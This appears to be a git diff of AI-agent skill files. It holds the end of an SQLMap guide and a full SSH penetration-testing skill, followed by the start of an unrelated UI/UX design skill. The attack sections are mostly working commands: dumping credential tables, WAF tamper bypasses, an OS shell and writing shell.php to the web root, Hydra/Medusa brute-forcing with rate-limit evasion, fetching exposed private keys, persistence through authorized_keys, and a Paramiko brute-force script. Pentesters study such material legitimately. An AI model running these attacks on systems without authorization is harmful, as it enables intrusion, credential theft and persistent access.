|
||||
```
|
||||
|
||||
#### Dump Specific Columns
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
|
||||
```
|
||||
|
||||
#### Dump Entire Database
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
|
||||
```
|
||||
|
||||
**Key Options:**
|
||||
- `--dump`: Extract all data from specified table
|
||||
- `--dump-all`: Extract all data from all tables
|
||||
- `-C`: Specify column names to extract
|
||||
|
||||
### 6. Advanced Target Options
|
||||
|
||||
#### Target from HTTP Request File
|
||||
```bash
|
||||
# Save Burp Suite request to file, then:
|
||||
sqlmap -r /path/to/request.txt --dbs --batch
|
||||
```
|
||||
|
||||
#### Target from Log File
|
||||
```bash
|
||||
# Feed log file with multiple requests
|
||||
sqlmap -l /path/to/logfile --dbs --batch
|
||||
```
|
||||
|
||||
#### Target Multiple URLs (Bulk File)
|
||||
```bash
|
||||
# Create file with URLs, one per line:
|
||||
# http://target1.com/page.php?id=1
|
||||
# http://target2.com/page.php?id=2
|
||||
sqlmap -m /path/to/bulkfile.txt --dbs --batch
|
||||
```
|
||||
|
||||
#### Target via Google Dorks (Use with Caution)
|
||||
```bash
|
||||
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
|
||||
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
|
||||
```
|
||||
|
||||
## Quick Reference Commands
|
||||
|
||||
### Database Enumeration Progression
|
||||
|
||||
| Stage | Command |
|
||||
|-------|---------|
|
||||
| List Databases | `sqlmap -u "URL" --dbs --batch` |
|
||||
| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
|
||||
| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
|
||||
| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
|
||||
| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
|
||||
|
||||
### Supported Database Management Systems
|
||||
|
||||
| DBMS | Support Level |
|
||||
|------|---------------|
|
||||
| MySQL | Full Support |
|
||||
| PostgreSQL | Full Support |
|
||||
| Microsoft SQL Server | Full Support |
|
||||
| Oracle | Full Support |
|
||||
| Microsoft Access | Full Support |
|
||||
| IBM DB2 | Full Support |
|
||||
| SQLite | Full Support |
|
||||
| Firebird | Full Support |
|
||||
| Sybase | Full Support |
|
||||
| SAP MaxDB | Full Support |
|
||||
| HSQLDB | Full Support |
|
||||
| Informix | Full Support |
|
||||
|
||||
### SQL Injection Techniques
|
||||
|
||||
| Technique | Description | Flag |
|
||||
|-----------|-------------|------|
|
||||
| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
|
||||
| Time-based blind | Uses time delays to infer data | `--technique=T` |
|
||||
| Error-based | Extracts data from error messages | `--technique=E` |
|
||||
| UNION query-based | Uses UNION to append results | `--technique=U` |
|
||||
| Stacked queries | Executes multiple statements | `--technique=S` |
|
||||
| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
|
||||
|
||||
### Essential Options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `-u` | Target URL |
|
||||
| `-r` | Load HTTP request from file |
|
||||
| `-l` | Parse targets from Burp/WebScarab log |
|
||||
| `-m` | Bulk file with multiple targets |
|
||||
| `-g` | Google dork (use responsibly) |
|
||||
| `--dbs` | Enumerate databases |
|
||||
| `--tables` | Enumerate tables |
|
||||
| `--columns` | Enumerate columns |
|
||||
| `--dump` | Dump table data |
|
||||
| `--dump-all` | Dump all database data |
|
||||
| `-D` | Specify database |
|
||||
| `-T` | Specify table |
|
||||
| `-C` | Specify columns |
|
||||
| `--batch` | Non-interactive mode |
|
||||
| `--random-agent` | Use random User-Agent |
|
||||
| `--level` | Level of tests (1-5) |
|
||||
| `--risk` | Risk of tests (1-3) |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Operational Boundaries
|
||||
- Requires valid injectable parameter in target URL
|
||||
- Network connectivity to target database server required
|
||||
- Large database dumps may take significant time
|
||||
- Some WAF/IPS systems may block SQLMap traffic
|
||||
- Time-based attacks significantly slower than error-based
|
||||
|
||||
### Performance Considerations
|
||||
- Use `--threads` to speed up enumeration (default: 1)
|
||||
- Limit dumps with `--start` and `--stop` for large tables
|
||||
- Use `--technique` to specify faster injection method if known
|
||||
|
||||
### Legal Requirements
|
||||
- Only test systems with explicit written authorization
|
||||
- Google dork attacks against unknown sites are illegal
|
||||
- Document all testing activities and findings
|
||||
- Respect scope limitations defined in engagement rules
|
||||
|
||||
### Detection Risk
|
||||
- SQLMap generates significant log entries
|
||||
- Use `--random-agent` to vary User-Agent header
|
||||
- Consider `--delay` to avoid triggering rate limits
|
||||
- Proxy through Tor with `--tor` for anonymity (authorized tests only)
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Complete Database Enumeration
|
||||
```bash
|
||||
# Step 1: Discover databases
|
||||
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
|
||||
# Result: acuart database found
|
||||
|
||||
# Step 2: List tables
|
||||
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
|
||||
# Result: users, products, carts, etc.
|
||||
|
||||
# Step 3: List columns
|
||||
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
|
||||
# Result: username, password, email columns
|
||||
|
||||
# Step 4: Dump user credentials
|
||||
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
|
||||
```
|
||||
|
||||
### Example 2: POST Request Injection
|
||||
```bash
|
||||
# Save Burp request to file (login.txt):
|
||||
# POST /login.php HTTP/1.1
|
||||
# Host: target.com
|
||||
# Content-Type: application/x-www-form-urlencoded
|
||||
#
|
||||
# username=admin&password=test
|
||||
|
||||
# Run SQLMap with request file
|
||||
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
|
||||
```
|
||||
|
||||
### Example 3: Bulk Target Scanning
|
||||
```bash
|
||||
# Create bulkfile.txt:
|
||||
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
|
||||
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
|
||||
|
||||
# Scan all targets
|
||||
sqlmap -m bulkfile.txt --dbs --batch
|
||||
```
|
||||
|
||||
### Example 4: Aggressive Testing
|
||||
```bash
|
||||
# High level and risk for thorough testing
|
||||
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
|
||||
|
||||
# Specify all techniques
|
||||
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
|
||||
```
|
||||
|
||||
### Example 5: Extract Specific Credentials
|
||||
```bash
|
||||
# Target specific columns
|
||||
sqlmap -u "http://target.com/page.php?id=1" \
|
||||
-D webapp \
|
||||
-T admin_users \
|
||||
-C admin_name,admin_pass,admin_email \
|
||||
--dump --batch
|
||||
|
||||
# Automatically crack password hashes
|
||||
sqlmap -u "http://target.com/page.php?id=1" \
|
||||
-D webapp \
|
||||
-T users \
|
||||
--dump --batch \
|
||||
--passwords
|
||||
```
|
||||
|
||||
### Example 6: OS Shell Access (Advanced)
|
||||
```bash
|
||||
# Get interactive OS shell (requires DBA privileges)
|
||||
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
|
||||
|
||||
# Execute specific OS command
|
||||
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
|
||||
|
||||
# File read from server
|
||||
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
|
||||
|
||||
# File upload to server
|
||||
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Issue: "Parameter does not seem injectable"
|
||||
**Cause**: SQLMap cannot find injection point
|
||||
**Solution**:
|
||||
```bash
|
||||
# Increase testing level and risk
|
||||
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
|
||||
|
||||
# Specify parameter explicitly
|
||||
sqlmap -u "URL" -p "id" --dbs --batch
|
||||
|
||||
# Try different injection techniques
|
||||
sqlmap -u "URL" --dbs --batch --technique=BT
|
||||
|
||||
# Add prefix/suffix for filter bypass
|
||||
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
|
||||
```
|
||||
|
||||
### Issue: Target Behind WAF/Firewall
|
||||
**Cause**: Web Application Firewall blocking requests
|
||||
**Solution**:
|
||||
```bash
|
||||
# Use tamper scripts
|
||||
sqlmap -u "URL" --dbs --batch --tamper=space2comment
|
||||
|
||||
# List available tamper scripts
|
||||
sqlmap --list-tampers
|
||||
|
||||
# Common tamper combinations
|
||||
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
|
||||
|
||||
# Add delay between requests
|
||||
sqlmap -u "URL" --dbs --batch --delay=2
|
||||
|
||||
# Use random User-Agent
|
||||
sqlmap -u "URL" --dbs --batch --random-agent
|
||||
```
|
||||
|
||||
### Issue: Connection Timeout
|
||||
**Cause**: Network issues or slow target
|
||||
**Solution**:
|
||||
```bash
|
||||
# Increase timeout
|
||||
sqlmap -u "URL" --dbs --batch --timeout=60
|
||||
|
||||
# Reduce threads
|
||||
sqlmap -u "URL" --dbs --batch --threads=1
|
||||
|
||||
# Add retries
|
||||
sqlmap -u "URL" --dbs --batch --retries=5
|
||||
```
|
||||
|
||||
### Issue: Time-Based Attacks Too Slow
|
||||
**Cause**: Default time delay too conservative
|
||||
**Solution**:
|
||||
```bash
|
||||
# Reduce time delay (risky, may cause false negatives)
|
||||
sqlmap -u "URL" --dbs --batch --time-sec=3
|
||||
|
||||
# Use boolean-based instead if possible
|
||||
sqlmap -u "URL" --dbs --batch --technique=B
|
||||
```
|
||||
|
||||
### Issue: Cannot Dump Large Tables
|
||||
**Cause**: Table has too many records
|
||||
**Solution**:
|
||||
```bash
|
||||
# Limit number of records
|
||||
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
|
||||
|
||||
# Dump specific columns only
|
||||
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
|
||||
|
||||
# Exclude specific columns
|
||||
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
|
||||
```
|
||||
|
||||
### Issue: Session Drops During Long Scan
|
||||
**Cause**: Session timeout or connection reset
|
||||
**Solution**:
|
||||
```bash
|
||||
# Save and resume session
|
||||
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
|
||||
|
||||
# Resume from saved session
|
||||
sqlmap -u "URL" --dbs --batch --resume
|
||||
|
||||
# Use persistent HTTP connection
|
||||
sqlmap -u "URL" --dbs --batch --keep-alive
|
||||
```
|
||||
485
skills/ssh-penetration-testing/SKILL.md
Normal file
485
skills/ssh-penetration-testing/SKILL.md
Normal file
@@ -0,0 +1,485 @@
|
||||
---
|
||||
name: SSH Penetration Testing
|
||||
description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
|
||||
---
|
||||
|
||||
# SSH Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Nmap with SSH scripts
|
||||
- Hydra or Medusa for brute-forcing
|
||||
- ssh-audit for configuration analysis
|
||||
- Metasploit Framework
|
||||
- Python with Paramiko library
|
||||
|
||||
### Required Knowledge
|
||||
- SSH protocol fundamentals
|
||||
- Public/private key authentication
|
||||
- Port forwarding concepts
|
||||
- Linux command-line proficiency
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **SSH Enumeration Report** - Versions, algorithms, configurations
|
||||
2. **Credential Assessment** - Weak passwords, default credentials
|
||||
3. **Vulnerability Assessment** - Known CVEs, misconfigurations
|
||||
4. **Tunnel Documentation** - Port forwarding configurations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: SSH Service Discovery
|
||||
|
||||
Identify SSH services on target networks:
|
||||
|
||||
```bash
|
||||
# Quick SSH port scan
|
||||
nmap -p 22 192.168.1.0/24 --open
|
||||
|
||||
# Common alternate SSH ports
|
||||
nmap -p 22,2222,22222,2200 192.168.1.100
|
||||
|
||||
# Full port scan for SSH
|
||||
nmap -p- --open 192.168.1.100 | grep -i ssh
|
||||
|
||||
# Service version detection
|
||||
nmap -sV -p 22 192.168.1.100
|
||||
```
|
||||
|
||||
### Phase 2: SSH Enumeration
|
||||
|
||||
Gather detailed information about SSH services:
|
||||
|
||||
```bash
|
||||
# Banner grabbing
|
||||
nc 192.168.1.100 22
|
||||
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
|
||||
|
||||
# Telnet banner grab
|
||||
telnet 192.168.1.100 22
|
||||
|
||||
# Nmap version detection with scripts
|
||||
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
|
||||
|
||||
# Enumerate supported algorithms
|
||||
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
|
||||
|
||||
# Get host keys
|
||||
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
|
||||
|
||||
# Check authentication methods
|
||||
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
|
||||
```
|
||||
|
||||
### Phase 3: SSH Configuration Auditing
|
||||
|
||||
Identify weak configurations:
|
||||
|
||||
```bash
|
||||
# ssh-audit - comprehensive SSH audit
|
||||
ssh-audit 192.168.1.100
|
||||
|
||||
# ssh-audit with specific port
|
||||
ssh-audit -p 2222 192.168.1.100
|
||||
|
||||
# Output includes:
|
||||
# - Algorithm recommendations
|
||||
# - Security vulnerabilities
|
||||
# - Hardening suggestions
|
||||
```
|
||||
|
||||
Key configuration weaknesses to identify:
|
||||
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
|
||||
- Weak ciphers (arcfour, 3des-cbc)
|
||||
- Weak MACs (hmac-md5, hmac-sha1-96)
|
||||
- Deprecated protocol versions
|
||||
|
||||
### Phase 4: Credential Attacks
|
||||
|
||||
#### Brute-Force with Hydra
|
||||
|
||||
```bash
|
||||
# Single username, password list
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
|
||||
|
||||
# Username list, single password
|
||||
hydra -L users.txt -p Password123 ssh://192.168.1.100
|
||||
|
||||
# Username and password lists
|
||||
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
|
||||
|
||||
# With specific port
|
||||
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
|
||||
|
||||
# Rate limiting evasion (slow)
|
||||
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
|
||||
|
||||
# Verbose output
|
||||
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
|
||||
|
||||
# Exit on first success
|
||||
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
|
||||
```
|
||||
|
||||
#### Brute-Force with Medusa
|
||||
|
||||
```bash
|
||||
# Basic brute-force
|
||||
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
|
||||
|
||||
# Multiple targets
|
||||
medusa -H targets.txt -u admin -P passwords.txt -M ssh
|
||||
|
||||
# With username list
|
||||
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
|
||||
|
||||
# Specific port
|
||||
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
|
||||
```
|
||||
|
||||
#### Password Spraying
|
||||
|
||||
```bash
|
||||
# Test common password across users
|
||||
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
|
||||
|
||||
# Multiple common passwords
|
||||
for pass in "Password123" "Welcome1" "Summer2024!"; do
|
||||
hydra -L users.txt -p "$pass" ssh://192.168.1.100
|
||||
done
|
||||
```
|
||||
|
||||
### Phase 5: Key-Based Authentication Testing
|
||||
|
||||
Test for weak or exposed keys:
|
||||
|
||||
```bash
|
||||
# Attempt login with found private key
|
||||
ssh -i id_rsa user@192.168.1.100
|
||||
|
||||
# Specify key explicitly (bypass agent)
|
||||
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
|
||||
|
||||
# Force password authentication
|
||||
ssh -o PreferredAuthentications=password user@192.168.1.100
|
||||
|
||||
# Try common key names
|
||||
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
|
||||
ssh -i "$key" user@192.168.1.100
|
||||
done
|
||||
```
|
||||
|
||||
Check for exposed keys:
|
||||
|
||||
```bash
|
||||
# Common locations for private keys
|
||||
~/.ssh/id_rsa
|
||||
~/.ssh/id_dsa
|
||||
~/.ssh/id_ecdsa
|
||||
~/.ssh/id_ed25519
|
||||
/etc/ssh/ssh_host_*_key
|
||||
/root/.ssh/
|
||||
/home/*/.ssh/
|
||||
|
||||
# Web-accessible keys (check with curl/wget)
|
||||
curl -s http://target.com/.ssh/id_rsa
|
||||
curl -s http://target.com/id_rsa
|
||||
curl -s http://target.com/backup/ssh_keys.tar.gz
|
||||
```
|
||||
|
||||
### Phase 6: Vulnerability Exploitation
|
||||
|
||||
Search for known vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Search for exploits
|
||||
searchsploit openssh
|
||||
searchsploit openssh 7.2
|
||||
|
||||
# Common SSH vulnerabilities
|
||||
# CVE-2018-15473 - Username enumeration
|
||||
# CVE-2016-0777 - Roaming vulnerability
|
||||
# CVE-2016-0778 - Buffer overflow
|
||||
|
||||
# Metasploit enumeration
|
||||
msfconsole
|
||||
use auxiliary/scanner/ssh/ssh_version
|
||||
set RHOSTS 192.168.1.100
|
||||
run
|
||||
|
||||
# Username enumeration (CVE-2018-15473)
|
||||
use auxiliary/scanner/ssh/ssh_enumusers
|
||||
set RHOSTS 192.168.1.100
|
||||
set USER_FILE /usr/share/wordlists/users.txt
|
||||
run
|
||||
```
|
||||
|
||||
### Phase 7: SSH Tunneling and Port Forwarding
|
||||
|
||||
#### Local Port Forwarding
|
||||
|
||||
Forward local port to remote service:
|
||||
|
||||
```bash
|
||||
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
|
||||
|
||||
# Access internal web server through SSH
|
||||
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
|
||||
# Now access http://localhost:8080
|
||||
|
||||
# Access internal database
|
||||
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
|
||||
|
||||
# Multiple forwards
|
||||
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
|
||||
```
|
||||
|
||||
#### Remote Port Forwarding
|
||||
|
||||
Expose local service to remote network:
|
||||
|
||||
```bash
|
||||
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
|
||||
|
||||
# Expose local web server to remote
|
||||
ssh -R 8080:localhost:80 user@192.168.1.100
|
||||
# Remote can access via localhost:8080
|
||||
|
||||
# Reverse shell callback
|
||||
ssh -R 4444:localhost:4444 user@192.168.1.100
|
||||
```
|
||||
|
||||
#### Dynamic Port Forwarding (SOCKS Proxy)
|
||||
|
||||
Create SOCKS proxy for network pivoting:
|
||||
|
||||
```bash
|
||||
# Create SOCKS proxy on local port 1080
|
||||
ssh -D 1080 user@192.168.1.100
|
||||
|
||||
# Use with proxychains
|
||||
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
|
||||
proxychains nmap -sT -Pn 192.168.1.0/24
|
||||
|
||||
# Browser configuration
|
||||
# Set SOCKS proxy to localhost:1080
|
||||
```
|
||||
|
||||
#### ProxyJump (Jump Hosts)
|
||||
|
||||
Chain through multiple SSH servers:
|
||||
|
||||
```bash
|
||||
# Jump through intermediate host
|
||||
ssh -J user1@jump_host user2@target_host
|
||||
|
||||
# Multiple jumps
|
||||
ssh -J user1@jump1,user2@jump2 user3@target
|
||||
|
||||
# With SSH config
|
||||
# ~/.ssh/config
|
||||
Host target
|
||||
HostName 192.168.2.50
|
||||
User admin
|
||||
ProxyJump user@192.168.1.100
|
||||
```
|
||||
|
||||
### Phase 8: Post-Exploitation
|
||||
|
||||
Activities after gaining SSH access:
|
||||
|
||||
```bash
|
||||
# Check sudo privileges
|
||||
sudo -l
|
||||
|
||||
# Find SSH keys
|
||||
find / -name "id_rsa" 2>/dev/null
|
||||
find / -name "id_dsa" 2>/dev/null
|
||||
find / -name "authorized_keys" 2>/dev/null
|
||||
|
||||
# Check SSH directory
|
||||
ls -la ~/.ssh/
|
||||
cat ~/.ssh/known_hosts
|
||||
cat ~/.ssh/authorized_keys
|
||||
|
||||
# Add persistence (add your key)
|
||||
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
|
||||
|
||||
# Extract SSH configuration
|
||||
cat /etc/ssh/sshd_config
|
||||
|
||||
# Find other users
|
||||
cat /etc/passwd | grep -v nologin
|
||||
ls /home/
|
||||
|
||||
# History for credentials
|
||||
cat ~/.bash_history | grep -i ssh
|
||||
cat ~/.bash_history | grep -i pass
|
||||
```
|
||||
|
||||
### Phase 9: Custom SSH Scripts with Paramiko
|
||||
|
||||
Python-based SSH automation:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import paramiko
|
||||
import sys
|
||||
|
||||
def ssh_connect(host, username, password):
|
||||
"""Attempt SSH connection with credentials"""
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
|
||||
try:
|
||||
client.connect(host, username=username, password=password, timeout=5)
|
||||
print(f"[+] Success: {username}:{password}")
|
||||
return client
|
||||
except paramiko.AuthenticationException:
|
||||
print(f"[-] Failed: {username}:{password}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}")
|
||||
return None
|
||||
|
||||
def execute_command(client, command):
|
||||
"""Execute command via SSH"""
|
||||
stdin, stdout, stderr = client.exec_command(command)
|
||||
output = stdout.read().decode()
|
||||
errors = stderr.read().decode()
|
||||
return output, errors
|
||||
|
||||
def ssh_brute_force(host, username, wordlist):
|
||||
"""Brute-force SSH with wordlist"""
|
||||
with open(wordlist, 'r') as f:
|
||||
passwords = f.read().splitlines()
|
||||
|
||||
for password in passwords:
|
||||
client = ssh_connect(host, username, password.strip())
|
||||
if client:
|
||||
# Run post-exploitation commands
|
||||
output, _ = execute_command(client, 'id; uname -a')
|
||||
print(output)
|
||||
client.close()
|
||||
return True
|
||||
return False
|
||||
|
||||
# Usage
|
||||
if __name__ == "__main__":
|
||||
target = "192.168.1.100"
|
||||
user = "admin"
|
||||
|
||||
# Single credential test
|
||||
client = ssh_connect(target, user, "password123")
|
||||
if client:
|
||||
output, _ = execute_command(client, "ls -la")
|
||||
print(output)
|
||||
client.close()
|
||||
```
|
||||
|
||||
### Phase 10: Metasploit SSH Modules
|
||||
|
||||
Use Metasploit for comprehensive SSH testing:
|
||||
|
||||
```bash
|
||||
# Start Metasploit
|
||||
msfconsole
|
||||
|
||||
# SSH Version Scanner
|
||||
use auxiliary/scanner/ssh/ssh_version
|
||||
set RHOSTS 192.168.1.0/24
|
||||
run
|
||||
|
||||
# SSH Login Brute-Force
|
||||
use auxiliary/scanner/ssh/ssh_login
|
||||
set RHOSTS 192.168.1.100
|
||||
set USERNAME admin
|
||||
set PASS_FILE /usr/share/wordlists/rockyou.txt
|
||||
set VERBOSE true
|
||||
run
|
||||
|
||||
# SSH Key Login
|
||||
use auxiliary/scanner/ssh/ssh_login_pubkey
|
||||
set RHOSTS 192.168.1.100
|
||||
set USERNAME admin
|
||||
set KEY_FILE /path/to/id_rsa
|
||||
run
|
||||
|
||||
# Username Enumeration
|
||||
use auxiliary/scanner/ssh/ssh_enumusers
|
||||
set RHOSTS 192.168.1.100
|
||||
set USER_FILE users.txt
|
||||
run
|
||||
|
||||
# Post-exploitation with SSH session
|
||||
sessions -i 1
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### SSH Enumeration Commands
|
||||
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `nc <host> 22` | Banner grabbing |
|
||||
| `ssh-audit <host>` | Configuration audit |
|
||||
| `nmap --script ssh*` | SSH NSE scripts |
|
||||
| `searchsploit openssh` | Find exploits |
|
||||
|
||||
### Brute-Force Options
|
||||
|
||||
| Tool | Command |
|
||||
|------|---------|
|
||||
| Hydra | `hydra -l user -P pass.txt ssh://host` |
|
||||
| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |
|
||||
| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |
|
||||
| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |
|
||||
|
||||
### Port Forwarding Types
|
||||
|
||||
| Type | Command | Use Case |
|
||||
|------|---------|----------|
|
||||
| Local | `-L 8080:target:80` | Access remote services locally |
|
||||
| Remote | `-R 8080:localhost:80` | Expose local services remotely |
|
||||
| Dynamic | `-D 1080` | SOCKS proxy for pivoting |
|
||||
|
||||
### Common SSH Ports
|
||||
|
||||
| Port | Description |
|
||||
|------|-------------|
|
||||
| 22 | Default SSH |
|
||||
| 2222 | Common alternate |
|
||||
| 22222 | Another alternate |
|
||||
| 830 | NETCONF over SSH |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Considerations
|
||||
- Always obtain written authorization
|
||||
- Brute-forcing may violate ToS
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- Rate limiting may block attacks
|
||||
- Fail2ban or similar may ban IPs
|
||||
- Key-based auth prevents password attacks
|
||||
- Two-factor authentication adds complexity
|
||||
|
||||
### Evasion Techniques
|
||||
- Use slow brute-force: `-t 1 -w 5`
|
||||
- Distribute attacks across IPs
|
||||
- Use timing-based enumeration carefully
|
||||
- Respect lockout thresholds
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
|
||||
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
|
||||
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |
|
||||
@@ -1,228 +1,351 @@
|
||||
---
|
||||
name: ui-ux-pro-max
|
||||
description: "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 8 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient."
|
||||
---
|
||||
|
||||
# UI/UX Pro Max - Design Intelligence
|
||||
|
||||
Searchable database of UI styles, color palettes, font pairings, chart types, product recommendations, UX guidelines, and stack-specific best practices.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Check if Python is installed:
|
||||
|
||||
```bash
|
||||
python3 --version || python --version
|
||||
```
|
||||
|
||||
If Python is not installed, install it based on user's OS:
|
||||
|
||||
**macOS:**
|
||||
```bash
|
||||
brew install python3
|
||||
```
|
||||
|
||||
**Ubuntu/Debian:**
|
||||
```bash
|
||||
sudo apt update && sudo apt install python3
|
||||
```
|
||||
|
||||
**Windows:**
|
||||
```powershell
|
||||
winget install Python.Python.3.12
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## How to Use This Skill
|
||||
|
||||
When user requests UI/UX work (design, build, create, implement, review, fix, improve), follow this workflow:
|
||||
|
||||
### Step 1: Analyze User Requirements
|
||||
|
||||
Extract key information from user request:
|
||||
- **Product type**: SaaS, e-commerce, portfolio, dashboard, landing page, etc.
|
||||
- **Style keywords**: minimal, playful, professional, elegant, dark mode, etc.
|
||||
- **Industry**: healthcare, fintech, gaming, education, etc.
|
||||
- **Stack**: React, Vue, Next.js, or default to `html-tailwind`
|
||||
|
||||
### Step 2: Search Relevant Domains
|
||||
|
||||
Use `search.py` multiple times to gather comprehensive information. Search until you have enough context.
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --domain <domain> [-n <max_results>]
|
||||
```
|
||||
|
||||
**Recommended search order:**
|
||||
|
||||
1. **Product** - Get style recommendations for product type
|
||||
2. **Style** - Get detailed style guide (colors, effects, frameworks)
|
||||
3. **Typography** - Get font pairings with Google Fonts imports
|
||||
4. **Color** - Get color palette (Primary, Secondary, CTA, Background, Text, Border)
|
||||
5. **Landing** - Get page structure (if landing page)
|
||||
6. **Chart** - Get chart recommendations (if dashboard/analytics)
|
||||
7. **UX** - Get best practices and anti-patterns
|
||||
8. **Stack** - Get stack-specific guidelines (default: html-tailwind)
|
||||
|
||||
### Step 3: Stack Guidelines (Default: html-tailwind)
|
||||
|
||||
If user doesn't specify a stack, **default to `html-tailwind`**.
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --stack html-tailwind
|
||||
```
|
||||
|
||||
Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`, `react-native`, `flutter`
|
||||
|
||||
---
|
||||
|
||||
## Search Reference
|
||||
|
||||
### Available Domains
|
||||
|
||||
| Domain | Use For | Example Keywords |
|
||||
|--------|---------|------------------|
|
||||
| `product` | Product type recommendations | SaaS, e-commerce, portfolio, healthcare, beauty, service |
|
||||
